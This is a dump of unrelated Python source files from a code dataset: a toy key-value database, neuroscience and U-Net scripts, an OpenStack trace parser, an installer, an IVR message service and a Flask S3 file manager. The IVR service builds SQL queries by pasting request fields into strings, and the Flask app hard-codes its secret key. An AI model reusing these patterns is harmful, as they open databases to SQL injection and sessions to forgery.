= cmd.split()\r\n if len(cmd_split) == 3:\r\n invalid_cmd = False\r\n db.setVar(var=cmd_split[1], value=cmd_split[2])\r\n \r\n elif cmd.startswith('GET'):\r\n cmd_split = cmd.split()\r\n if len(cmd_split) == 2:\r\n invalid_cmd = False\r\n value = db.getVar(var=cmd_split[1])\r\n if value == None:\r\n value = 'NULL'\r\n print(value)\r\n \r\n\r\n elif cmd.startswith('UNSET'):\r\n cmd_split = cmd.split()\r\n if len(cmd_split) == 2:\r\n invalid_cmd = False\r\n db.unsetVar(var=cmd_split[1])\r\n \r\n elif cmd.startswith('NUMEQUALTO'):\r\n cmd_split = cmd.split()\r\n if len(cmd_split) == 2:\r\n invalid_cmd = False\r\n print(db.getVarsEqualToValue(value=cmd_split[1]))\r\n \r\n elif cmd == 'END':\r\n db.endConnection() \r\n \r\n if invalid_cmd == True:\r\n print ('Invalid Command. Try again..\\n')\r\n \r\n return \r\n \r\n\r\ndef main():\r\n db = Database()\r\n while True:\r\n user_cmd = input('Enter command: ')\r\n process_command(db, user_cmd.strip())\r\n \r\n return\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"eclipse-workspace/interview/src/Design/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"464375023","text":"from scipy.signal import welch\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport utils\n\n\ntest_data_loc = 'D:\\\\parietal'\n\n\nsubject = 'Dog_5'\ninterictal_files_idx = np.arange(1, 10)\npreictal_files_idx = np.arange(1, 10)\ntest_files_idx = np.arange(1, 30)\n\n\n\n# for inter_file_idx in interictal_files_idx:\n# \tdata = utils.get_interictal_data(inter_file_idx, subject)\n# \ts_freq = data['s_freq']\n# \tduration = data['length_sec']\n# \tseq = data['sequence'] \n# \tprint('s_freq = %f, duration = %f, sequence = %f, data shape 1 = %d'%(s_freq, duration, seq, data['data'].shape[0]))\n\n\n# print(\"----------------\")\n\n# for pre_file_idx in preictal_files_idx:\n# \tdata = utils.get_preictal_data(pre_file_idx, subject)\n# \ts_freq = data['s_freq']\n# \tduration = data['length_sec']\n# \tseq = data['sequence'] \n# \tprint('s_freq = %f, duration = %f, sequence = %f, data shape 1 = %d'%(s_freq, duration, seq, data['data'].shape[0]))\n\n\n\nfor test_file_idx in test_files_idx:\n\tdata = utils.get_test_data(test_file_idx, subject, test_data_loc)\n\ts_freq = data['s_freq']\n\tduration = data['length_sec']\n\t# seq = data['sequence'] \n\tprint('s_freq = %f, duration = %f, data shape 1 = %d'%(s_freq, duration, data['data'].shape[0]))\n\n\n","sub_path":"kaggle/check_sampling_freq.py","file_name":"check_sampling_freq.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"350858996","text":"\nfrom datetime import datetime, timedelta\nfrom os import path\nfrom re import search\nfrom utils import Utils\n\nfrom dto.component import Component\nfrom dto.database_component import DBComponent\nfrom dto.function_component import FunctionComponent\nfrom dto.general_info import GeneralInfo\nfrom dto.http_component import HTTPComponent\nfrom dto.stats import Stats\n\nfrom report.report_generator import ReportGenerator\n\nfrom SQLParser.SqlReportProcessor import SqlReportProcessor\n\nfrom MockSQLParser.MockSqlReportProcessor import MockSqlReportProcessor\n\nimport time\n\n\nclass JsonParser(object):\n \"\"\"Class used to parse Json files from openstack\"\"\"\n dir_path = path.dirname(path.realpath(__file__))\n files_directory = dir_path + '/../files/'\n logs_directory = dir_path + '/../output/logs/'\n # sqlreportprocessor = SqlReportProcessor() # Use this project to use antlr parser ; might prove useful if the amount of metrics increase\n sqlreportprocessor = MockSqlReportProcessor() # Use this project to use minimalist SQL reader ; enough with current metrics\n nb_joins = 0\n nb_transactions = 0\n nb_select1 = 0\n duration_joins = timedelta()\n duration_transactions = timedelta()\n duration_select1 = timedelta()\n sql_parsing_duration = 0\n json_parsing_duration = 0\n graph_generation_duration = 0\n\n def __init__(self):\n self.util = Utils()\n self.files = self.util.find_files(self.files_directory)\n self.json_data = dict()\n self.object_data = dict()\n self.requests = []\n self.initialize_jsondata()\n\n def initialize_jsondata(self):\n for file in self.files:\n self.json_data[path.basename(file)] = (self.util.read_jsonfile(file))\n\n def extract_from_json(self):\n time_start = time.time()\n\n for (key, json) in self.json_data.items():\n self.extract_generalinfo(key, json)\n self.nb_joins = 0\n self.nb_transactions = 0\n self.nb_select1 = 0\n self.duration_joins = timedelta()\n self.duration_transactions = timedelta()\n self.duration_select1 = timedelta()\n\n self.json_parsing_duration = time.time() - time_start - self.sql_parsing_duration\n\n def generate_graphs(self):\n time_start = time.time()\n\n generator = ReportGenerator()\n for file in self.object_data:\n generator.general_info = self.object_data[file]\n generator.generate_report()\n\n generator.generate_report_index()\n\n self.graph_generation_duration = time.time() - time_start\n\n def extract_generalinfo(self, file, json):\n general_info = GeneralInfo(file_name=file)\n\n for (key, item) in json[\"stats\"].items():\n general_info.add_stat(Stats(name=key,\n count=item[\"count\"],\n duration=item[\"duration\"]\n )\n )\n\n for data in json[\"children\"]:\n self.explore_child(data, general_info)\n\n general_info.total_nb_joins = self.nb_joins\n general_info.total_nb_transactions = self.nb_transactions\n general_info.total_nb_select1 = self.nb_select1\n general_info.total_duration_joins = self.duration_joins\n general_info.total_duration_transactions = self.duration_transactions\n general_info.total_duration_select1 = self.duration_select1\n\n self.object_data[file] = general_info\n \n self.generate_log(file, general_info)\n\n def explore_child(self, child, parent):\n info = child[\"info\"]\n\n keys = list(info.keys())\n module = ''\n\n for key in keys:\n module = self.extract_component_from_meta(key)\n if module:\n break\n\n if module:\n start = info[\"meta.raw_payload.\"+module+\"-start\"][\"timestamp\"]\n end = info[\"meta.raw_payload.\"+module+\"-stop\"][\"timestamp\"]\n\n duration = self.util.convert_string_to_datetime(end) - \\\n self.util.convert_string_to_datetime(start)\n\n trace_id = child[\"trace_id\"]\n parent_id = child[\"parent_id\"]\n project = info[\"project\"]\n\n general = Component(\n module=module,\n project=project,\n duration=duration,\n parent_id=parent_id,\n trace_id=trace_id\n )\n\n if module in DBComponent.types:\n component = self.parse_database_component(general,\n module, info)\n elif module in FunctionComponent.types:\n component = self.parse_function_component(general,\n module, info)\n elif module in HTTPComponent.types:\n component = self.parse_http_component(general,\n module, info)\n else:\n raise ValueError(\"Key should exist in types\")\n\n parent.add_child(component)\n\n else:\n raise ValueError(\"No component found\")\n\n for sub_child in child[\"children\"]:\n self.explore_child(sub_child, component)\n\n def extract_component_from_meta(self, string):\n result = ''\n found = search(\"meta.raw_payload.(.+?)-start\", string)\n if found:\n result = found.group(1)\n\n return result\n\n def parse_database_component(self, general, key, component):\n db = component[\"meta.raw_payload.\" + key + \"-start\"]\n host = db[\"info\"][\"host\"]\n params = db[\"info\"][\"db\"][\"params\"]\n statement = db[\"info\"][\"db\"][\"statement\"]\n\n time_start = time.time()\n sql_stats = self.sqlreportprocessor.report(statement)\n self.sql_parsing_duration += time.time() - time_start\n\n date_format = \"%Mm%Ss.%f\"\n\n if(statement.upper() == \"SELECT 1\"):\n self.nb_select1 += 1\n self.duration_select1 += general.duration\n else:\n if(sql_stats.nb_join > 0):\n self.nb_joins += 1\n self.duration_joins += general.duration\n\n if(sql_stats.nb_transac > 0):\n self.nb_transactions += 1\n self.duration_transactions += general.duration\n\n db_component = DBComponent(\n module=general.module,\n project=general.project,\n duration=general.duration,\n parent_id=general.parent_id,\n trace_id=general.trace_id,\n sql_stats=sql_stats,\n host=host,\n params=params,\n statement=statement\n )\n\n return db_component\n\n def parse_function_component(self, general, key, component):\n\n function = component[\"meta.raw_payload.\" + key + \"-start\"][\"info\"]\\\n [\"function\"][\"name\"]\n\n fun_component = FunctionComponent(\n module=general.module,\n project=general.project,\n duration=general.duration,\n parent_id=general.parent_id,\n trace_id=general.trace_id,\n function_call=function\n )\n\n return fun_component\n\n def parse_http_component(self, general, key, component):\n host = component[\"host\"]\n\n request = component[\"meta.raw_payload.\" + key + \"-start\"]\\\n [\"info\"][\"request\"]\n\n path = request[\"path\"]\n scheme = request[\"scheme\"]\n method = request[\"method\"]\n query = request[\"query\"]\n\n http_component = HTTPComponent(\n module=general.module,\n project=general.project,\n duration=general.duration,\n parent_id=general.parent_id,\n trace_id=general.trace_id,\n host=host,\n path=path,\n scheme=scheme,\n method=method,\n query=query\n )\n\n return http_component\n\n def generate_log(self, file, general_info):\n with open(self.logs_directory + file + \".log\", \"w\") as output_file:\n output_file.write(general_info.__str__())\n output_file.close()\n","sub_path":"src/json_parser.py","file_name":"json_parser.py","file_ext":"py","file_size_in_byte":8221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"420684368","text":"#!/usr/local/bin/python3.7\n\nimport subprocess\nimport os\nimport argparse\n\n\ndef python_install():\n cmd = [\n \"wget https://www.python.org/ftp/python/3.7.4/Python-3.7.4.tar.xz\",\n \"sudo apt install build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev\",\n \"unar Python-3.7.4.tar.xz\",\n \"./configure -with-ensurepip\",\n \"sudo make\",\n \"sudo make altinstall\"\n ]\n\n for i in range(6):\n if(i == 3):\n os.chdir(\"./Python-3.7.4\")\n subprocess.call(cmd[i].split())\n\n\ndef debian_install():\n cmd = \"wget https://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/firmware-10.1.0-amd64-netinst.iso\"\n subprocess.call(cmd.split())\n\n\ndef parsers():\n parser = argparse.ArgumentParser(\n description=\"installer program\")\n parser.add_argument(\n \"-p\", \"--python\", action=\"store_true\", help=\"python install\")\n parser.add_argument(\n \"-d\", \"--debian\", action=\"store_true\", help=\"debian install\")\n opt = parser.parse_args()\n return opt\n\n\ndef main():\n opt = parsers()\n if (opt.python):\n python_install()\n elif(opt.debian):\n debian_install()\n\nmain()\n","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"209485383","text":"from sqlwrapper import dbget,dbput,gensql\r\nimport json\r\nimport datetime\r\ndef promotionalcancelmessage(request):\r\n try:\r\n tfn = request.json['TFN']\r\n b_id = json.loads(dbget(\"select id from ivr_dialed_number where dialed_number='\"+tfn+\"' \"))\r\n print(b_id[0]['id'])\r\n message = json.loads(dbget(\"select ivr_promotional_message from ivr_promotional_cancellation_message join \\\r\n ivr_hotel_list on ivr_hotel_list.id = ivr_promotional_cancellation_message.id \\\r\n where ivr_promotional_cancellation_message.id='\"+str(b_id[0]['id'])+\"' \"))\r\n message = message[0]['ivr_promotional_message']\r\n print(message)\r\n a = {\"ServiceStatus\":\"Success\",\"ServiceMessage\":\"Success\",\"message\":message}\r\n return(json.dumps(a))\r\n except:\r\n a = {\"ServiceStatus\":\"Success\",\"ServiceMessage\":\"Success\"}\r\n return(json.dumps(a))\r\n\r\ndef insertcancelmessage(request):\r\n #e = request.json\r\n bus_id = request.json['business_id']\r\n message = request.json['cancel_message']\r\n b_id = json.loads(dbget(\"select id from ivr_hotel_list where business_id='\"+bus_id+\"' \"))\r\n print(b_id[0]['id'])\r\n count = json.loads(dbget(\"select count(*) from ivr_promotional_cancellation_message where \\\r\n id='\"+str(b_id[0]['id'])+\"' \"))\r\n print(count)\r\n e = {}\r\n e['ivr_promotional_message'] = message\r\n e['id'] = b_id[0]['id']\r\n if count[0]['count'] != 1:\r\n print(gensql('insert','ivr_promotional_cancellation_message',e))\r\n else:\r\n print(dbput(\"update ivr_promotional_cancellation_message set ivr_promotional_message \\\r\n ='\"+message+\"' where id='\"+str(b_id[0]['id'])+\"' \"))\r\n a = {\"ServiceStatus\":\"Success\",\"ServiceMessage\":\"Success\"}\r\n return(json.dumps(a))\r\n \r\n","sub_path":"PromotionalCancelMessage.py","file_name":"PromotionalCancelMessage.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"383702709","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\n@file \tspotify.py\n@author Stephan Reith\n@date \t25.03.2016\n\nJust playing with Spotify.\n'''\n\nimport json\nimport urllib.request\n\n\nclass SpotifyObject(object):\n\n def __init__(self, spotify_request):\n spotify_response = urllib.request.urlopen(spotify_request)\n\n data = json.loads(spotify_response.read().decode())\n\n for key, val in data.items():\n setattr(self, key, val)\n\n\nif __name__ == \"__main__\":\n url = \"https://api.spotify.com/v1/artists/\"\n artist_id = \"5EM6xJN2QNk0cL7EEm9HR9\"\n\n request = url + artist_id\n\n s = SpotifyObject(request)\n\n print(s.name)\n","sub_path":"python/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"377927832","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nfrom neuron import h\nfrom neuron.units import ms, mV\n\nimport matplotlib.pyplot as plt\n\nsoma = h.Section(name='soma')\nprint(h.topology())\nprint(soma.psection() )\nprint(soma.psection()['morphology']['L'] )\nprint(soma.L)\nsoma.L = 20\nsoma.diam = 20\nprint(dir(soma))\n\nimport textwrap\nprint(textwrap.fill(', '.join(dir(h))))\n\nsoma.insert('hh')\nprint(\"type(soma) = {}\".format(type(soma)))\nprint(\"type(soma(0.5)) = {}\".format(type(soma(0.5))))\n\nmech = soma(0.5).hh\nprint(dir(mech))\nprint(mech.gkbar)\nprint(soma(0.5).hh.gkbar)\n\niclamp = h.IClamp(soma(0.5))\nprint([item for item in dir(iclamp) if not item.startswith('__')])\niclamp.delay = 2\niclamp.dur = 0.1\niclamp.amp = 0.9\nprint(soma.psection())\n\nt = h.Vector().record(h._ref_t) \nv = h.Vector().record(soma(0.5)._ref_v) \n\nh.load_file('stdrun.hoc')\nh.finitialize( -65 * mV)\nh.continuerun(40* ms)\n\nf1 = plt.figure()\nplt.xlabel('t (ms)')\nplt.ylabel('v (mV)')\nplt.plot(t, v, linewidth=2)\nplt.show(f1)\n\nf1 = plt.figure()\nplt.xlabel('t (ms)')\nplt.ylabel('v (mV)')\nplt.plot(t, v, linewidth=2)\nplt.show(f1)\n\n\nimport csv\n\nwith open('data.csv', 'w') as f:\n csv.writer(f).writerows(zip(t, v))\n \nwith open('data.csv') as f:\n reader = csv.reader(f)\n tnew, vnew = zip(*[[float(val) for val in row] for row in reader if row])\n \nplt.figure()\nplt.plot(tnew, vnew)\nplt.xlabel('t (ms)')\nplt.ylabel('v (mV)')\nplt.show()\n\n \n \n \n \n ","sub_path":"scripting basics.py","file_name":"scripting basics.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"249395377","text":"#!/usr/bin/env python\nfrom unet import *\nfrom data import *\n\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = ''\n\ndata_dir = '/data/mididata/Kaggle/Data'\ntest_dir = os.path.join(data_dir, 'Test')\n\nn_test = int(len([name for name in os.listdir(test_dir) if os.path.join(test_dir, name)]) / 2)\n\nx_test = np.array([np.load(os.path.join(test_dir, str(i+1) + '_x.npy')) for i in range(n_test)])\ny_test = np.array([np.load(os.path.join(test_dir, str(i+1) + '_y.npy')) for i in range(n_test)])\ny_test = np.array([np.expand_dims(y[:, :, 0], axis=-1) for y in y_test])\n\n# Isolate images w/ annotations\nnew_x_test = []\nnew_y_test = []\nfor x, y in zip(x_test, y_test):\n if y.sum() > 0:\n new_x_test.append(x)\n new_y_test.append(y)\nx_test = np.array(new_x_test)\ny_test = np.array(new_y_test)\n\nprint(y_test.shape)\nprint(y_test[0].shape)\nprint(x_test.shape)\nprint(x_test[0].shape)\n\n# Specify model\nim_width = x_test.shape[1]\nim_height = x_test.shape[2]\n\nwith tf.device('/cpu:0'):\n model = Unet(im_width, im_height, 1, 32)\n model.summary()\n\n model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['acc', true_dice])\n #model.load_weights('unet_32f_weights.h5')\n model.load_weights('unet_32f_dice_loss_weights.h5')\n\n# Evaluate\nloss, acc, dice = model.evaluate(x_test, y_test, batch_size=1)\nprint('Test loss:', loss)\nprint('Test accuracy:', acc)\nprint('Test Dice:', dice)\n\naccs = [model.evaluate(np.expand_dims(x_test[i], axis=0), np.expand_dims(y_test[i], axis=0), verbose=0)[1] for i in range(50)]\ndices = [model.evaluate(np.expand_dims(x_test[i], axis=0), np.expand_dims(y_test[i], axis=0), verbose=0)[2] for i in range(50)]\nprint(dices)\n\npreds = model.predict(x_test[:50])\n\ndef to_binary(mask):\n res = mask.copy()\n for x in range(res.shape[0]):\n for y in range(res.shape[1]):\n #argmax = np.argmax(res[x, y, :])\n loc = np.where(res[x, y, :] > 0.1)\n res[x, y, :] = 0\n #res[x, y, :][argmax] = 1\n res[x, y, :][loc] = 1\n\n return res\n\nbinary_preds = np.array([to_binary(pred) for pred in preds])\n\nfor i in range(50):\n #if y_test[i, :, :, 0].sum() > 0:\n fig, ax = plt.subplots(1, 2, figsize=(9,6))\n ax[0].imshow(np.squeeze(x_test[i]), cmap='bone', vmin=0, vmax=1)\n ax[0].imshow(np.ma.masked_where(y_test[i, :, :, 0] == 0., y_test[i, :, :, 0]),\n cmap='jet', alpha=0.5, vmin=0, vmax=1)\n ax[0].set_xlabel(f'Pixel accuracy: {round(accs[i], 3)}')\n ax[1].imshow(np.squeeze(x_test[i]), cmap='bone', vmin=0, vmax=1)\n #im = ax[1].imshow(np.ma.masked_where(preds[i, :, :, 0] == 0., preds[i, :, :, 0]),\n # cmap='jet', alpha=0.5, vmin=0, vmax=1)\n ax[1].imshow(np.ma.masked_where(binary_preds[i, :, :, 0] == 0., binary_preds[i, :, :, 0]),\n cmap='jet', alpha=0.5, vmin=0, vmax=1)\n ax[1].set_xlabel(f'Dice: {round(dices[i], 3)}')\n\n #fig.colorbar(im, ax=ax.ravel())\n plt.show()\n\n#for i in range(10):\n# if y_test[i, :, :, 0].sum() > 0:\n# fig = plt.figure(figsize=(9,6))\n# plt.subplot(1, 2, 1)\n# #plt.colorbar()\n# plt.imshow(y_test[i, :, :, 0], vmin=0, vmax=1)\n# plt.subplot(1, 2, 2)\n# #plt.colorbar(extend='both')\n# plt.imshow(preds[i, :, :, 1], vmin=0, vmax=1)\n# plt.colorbar()\n# fig.tight_layout()\n# plt.show()\n\n# fig, ax = plt.subplots(1, 3, figsize=(9,6))\n# ax[0].imshow(y_test[i, :, :, 0], vmin=0, vmax=1)\n# im = ax[1].imshow(preds[i, :, :, 0], vmin=0, vmax=1)\n# ax[2].imshow(preds[i, :, :, 1], vmin=0, vmax=1)\n# fig.colorbar(im, ax=ax.ravel())\n# fig.tight_layout()\n# plt.show()\n\n\n\n\n#preds = model.predict(X_test)\n#\n#def to_binary(mask):\n# mask = mask[:, :, 0]\n# for x in range(mask.shape[0]):\n# for y in range(mask.shape[1]):\n# if mask[x, y] > 0.5:\n# mask[x, y] = 1\n# else:\n# mask[x, y] = 0\n#\n# return np.expand_dims(mask, axis=-1)\n#\n#binary_preds = np.array([to_binary(pred) for pred in preds])\n#print(preds.shape)\n#print(binary_preds.shape)\n#\n#for i in range(10):\n# fig, ax = plt.subplots(1, 2, figsize=(9,6))\n# # Gt plot\n# ax[0].set_title('Ground truth')\n# ax[0].imshow(np.squeeze(X_test[i]), cmap='gray')\n#\n# ax[0].imshow(np.ma.masked_where(Y_test[i, :, :, 0] == 0.0, Y_test[i, :, :, 0]),\n# cmap='jet', alpha=0.5, vmin=0., vmax=1.)\n# ax[0].tick_params(bottom=False, left=False, labelbottom=False, labelleft=False)\n# #ax[0].set_xlabel(f'Accuracy: {round(accs_per_image[i], 3)}')\n#\n# # Predicted plot\n# ax[1].set_title('Predicted')\n# ax[1].imshow(np.squeeze(X_test[i]), cmap='gray')\n#\n# overlay = np.zeros((224, 224))\n# ax[1].imshow(np.ma.masked_where(binary_preds[i, :, :, 0] == 0.0, binary_preds[i, :, :, 0]),\n# cmap='jet', alpha=0.5, vmin=0., vmax=1.)\n# ax[1].tick_params(bottom=False, left=False, labelbottom=False, labelleft=False)\n# #ax[1].set_xlabel(f'Dice: {round(dices_per_image[i], 3)}')\n#\n## # Difference plot\n## ax[2].set_title('Difference')\n## ax[2].imshow(np.squeeze(x[i]), cmap='gray')\n##\n##\n## overlay = np.zeros((256, 256))\n## for j in range(1, 8):\n## overlay = overlay + j * abs(y_true[i][:, :, j] - y_pred[i][:, :, j])\n##\n## ax[2].imshow(np.ma.masked_where(overlay == 0.0, overlay),\n## cmap='jet', alpha=0.5, vmin=1, vmax=7)\n## ax[2].tick_params(bottom=False, left=False, labelbottom=False, labelleft=False)\n## ax[2].set_xlabel(f'IoU: {round(ious_per_image[i], 3)}')\n#\n# fig.tight_layout()\n# plt.show()\n","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"478946036","text":"products = {'название': '', 'стоимость': '', 'количество': '', 'ед.': ''}\nanalisis = {'название': [], 'стоимость': [], 'количество': [], 'ед.': []}\ndgs = []\nnum_prod = 0\n\nwhile True:\n action = input('Если Вы хотите ввести товар, нажмите \"V\". Если выхотите сделать анализ, нажмите \"A\". Для завершения работы, нажмите \"Q\": ').upper()\n num_prod += 1\n if(action == 'V'):\n for i in products.keys():\n products[i] = input(f'Введите {i} товара:')\n analisis[i].append(products[i])\n dgs.append((num_prod, products))\n if(action =='A'):\n for key, value in analisis.items():\n print(f'{key}: {value}')\n if (action == 'Q'):\n break\n\n\n","sub_path":"DZ 6.py","file_name":"DZ 6.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"621925575","text":"from flask import Flask, render_template, request, redirect, url_for, flash, \\\n Response, session\nfrom flask_bootstrap import Bootstrap\nfrom filters import datetimeformat, file_type\nfrom resources import get_bucket, get_buckets_list\nimport csv\nimport random\nfrom time import time\nfrom decimal import Decimal\nimport boto3\nimport string\nimport random\nimport os\n\n\napp = Flask(__name__)\nBootstrap(app)\napp.secret_key = 'secret'\napp.jinja_env.filters['datetimeformat'] = datetimeformat\napp.jinja_env.filters['file_type'] = file_type\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n bucket = request.form['bucket']\n session['bucket'] = bucket\n return redirect(url_for('files'))\n else:\n buckets = get_buckets_list()\n return render_template(\"index.html\", buckets=buckets)\n\n\n@app.route('/files')\ndef files():\n my_bucket = get_bucket()\n summaries = my_bucket.objects.all()\n\n return render_template('files.html', my_bucket=my_bucket, files=summaries)\n\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n file = request.files['file']\n\n my_bucket = get_bucket()\n my_bucket.Object(file.filename).put(Body=file)\n\n flash('File uploaded successfully')\n return redirect(url_for('files'))\n\n\n@app.route('/delete', methods=['POST'])\ndef delete():\n key = request.form['key']\n\n my_bucket = get_bucket()\n my_bucket.Object(key).delete()\n\n flash('File deleted successfully')\n return redirect(url_for('files'))\n\n\n@app.route('/download', methods=['POST'])\ndef download():\n key = request.form['key']\n\n my_bucket = get_bucket()\n file_obj = my_bucket.Object(key).get()\n\n return Response(\n file_obj['Body'].read(),\n mimetype='text/plain',\n headers={\"Content-Disposition\": \"attachment;filename={}\".format(key)}\n )\n\n\n@app.route('/copyfromsevir', methods=['POST'])\ndef copyfromsevir():\n # Connect to Boto3\n s3 = boto3.resource(\n service_name='s3',\n region_name='us-east-2')\n\n # Copying from S3 Public SEVIR to our bucket for analysis \n\n #Import Catalog from SEVIR \n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'CATALOG.csv'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'CATALOG.csv')\n print('Sucessfully Catalog has been copied to our S3 Bucket ') \n\n #import SEVIR H5 FILES : 1TB all files \n\n #vil2019--1\n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/vil/2019/SEVIR_VIL_RANDOMEVENTS_2019_0101_0430.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/vil/2019/SEVIR_VIL_RANDOMEVENTS_2019_0101_0430.h5')\n print('Sucessfully vil sensor HDF5 data has been copied to our S3 Bucket ') \n\n #IR069--2 \n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/ir069/2019/SEVIR_IR069_STORMEVENTS_2019_0701_1231.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/ir069/2019/SEVIR_IR069_STORMEVENTS_2019_0701_1231.h5')\n print('Sucessfully IR069 sensor data HDF5 files has been copied to our S3 Bucket ') \n\n #IR069--3\n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/ir069/2019/SEVIR_IR069_STORMEVENTS_2019_0701_1231.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/ir069/2019/SEVIR_IR069_STORMEVENTS_2019_0701_1231.h5')\n print('Sucessfully IR069 sensor data HDF5 files has been copied to our S3 Bucket ') \n\n #IR107--4\n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/ir107/2019/SEVIR_IR107_STORMEVENTS_2019_0701_1231.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/ir107/2019/SEVIR_IR107_STORMEVENTS_2019_0701_1231.h5')\n print('Sucessfully IR107 sensor data HDF5 files has been copied to our S3 Bucket ') \n\n #lght--5\n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/lght/2019/SEVIR_LGHT_ALLEVENTS_2019_1101_1201.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/lght/2019/SEVIR_LGHT_ALLEVENTS_2019_1101_1201.h5')\n print('Sucessfully lght sensor data HDF5 files has been copied to our S3 Bucket ') \n\n #vis--5\n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/vis/2019/SEVIR_VIS_STORMEVENTS_2019_0101_0131.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/vis/2019/SEVIR_VIS_STORMEVENTS_2019_0101_0131.h5')\n print('Sucessfully vis sensor data HDF5 files has been copied to our S3 Bucket ') \n\n #Nowcastingfiles--6\n s3 = boto3.resource('s3',region_name='us-east-2')\n copy_source = {\n 'Bucket': 'sevir',\n 'Key': 'data/vis/2019/SEVIR_VIS_STORMEVENTS_2019_0101_0131.h5'\n }\n s3.meta.client.copy(copy_source, 'kronosteam4', 'data/vis/2019/SEVIR_VIS_STORMEVENTS_2019_0101_0131.h5')\n print('Sucessfully vis sensor data HDF5 files has been copied to our S3 Bucket ') \n\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"Part 1 - AWS/FLASK_UI_SEVIR_S3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"97021249","text":"import os\nimport uuid\nimport imp\n\nimport lucidity\nimport ftrack_api\n\n# Ignore PEP8, importing to have available on module level\nfrom .template import Template\n\n\ndef discover_templates(paths=None, recursive=True):\n '''Taken from lucidity.\n\n Search *paths* for mount points and load templates from them.\n *paths* should be a list of filesystem paths to search for mount points.\n If not specified will try to use value from environment variable\n :envvar:`FTRACK_TEMPLATE_PATH`.\n A mount point is a Python file that defines a 'register' function. The\n function should return a list of instantiated\n :py:class:`~ftrack_template.template.Template` objects.\n If *recursive* is True (the default) then all directories under a path\n will also be searched.\n '''\n templates = []\n if paths is None:\n paths = os.environ.get('FTRACK_TEMPLATES_PATH', '').split(os.pathsep)\n for path in paths:\n for base, directories, filenames in os.walk(path):\n for filename in filenames:\n _, extension = os.path.splitext(filename)\n if extension != '.py':\n continue\n module_path = os.path.join(base, filename)\n module_name = uuid.uuid4().hex\n module = imp.load_source(module_name, module_path)\n try:\n registered = module.register()\n except AttributeError:\n pass\n else:\n if registered:\n templates.extend(registered)\n if not recursive:\n del directories[:]\n return templates\n\n\ndef recurse_attribute_list(entity, attribute_list, padding=3, result=None):\n\n if result is None:\n result = {}\n\n key = attribute_list[0]\n value = entity[key]\n if isinstance(entity[key], int):\n value = str(value).zfill(padding)\n result[key] = value\n del attribute_list[0]\n\n if attribute_list:\n result[key] = recurse_attribute_list(\n entity[key], attribute_list\n )\n\n return result\n\n\ndef get_entity_parents(entity):\n\n items = []\n\n if isinstance(entity, ftrack_api.entity.component.Component):\n if entity[\"container\"]:\n items = entity[\"container\"][\"version\"][\"link\"]\n else:\n items = entity[\"version\"][\"link\"]\n if \"link\" in entity.keys():\n items = entity[\"link\"]\n\n parents = []\n for item in items[:-1]:\n parents.append(entity.session.get(item[\"type\"], item[\"id\"]))\n\n return parents\n\n\ndef get_entity_data(entity, keys):\n\n # Collect parents from entity\n entity_data = {}\n items = []\n\n for parent in get_entity_parents(entity):\n context_type = type(parent).entity_type.lower()\n entity_data[context_type] = parent\n\n entity_type = type(entity).entity_type.lower()\n entity_data[entity_type] = entity\n if entity_type == \"assetversion\":\n entity_data[\"task\"] = entity[\"task\"]\n 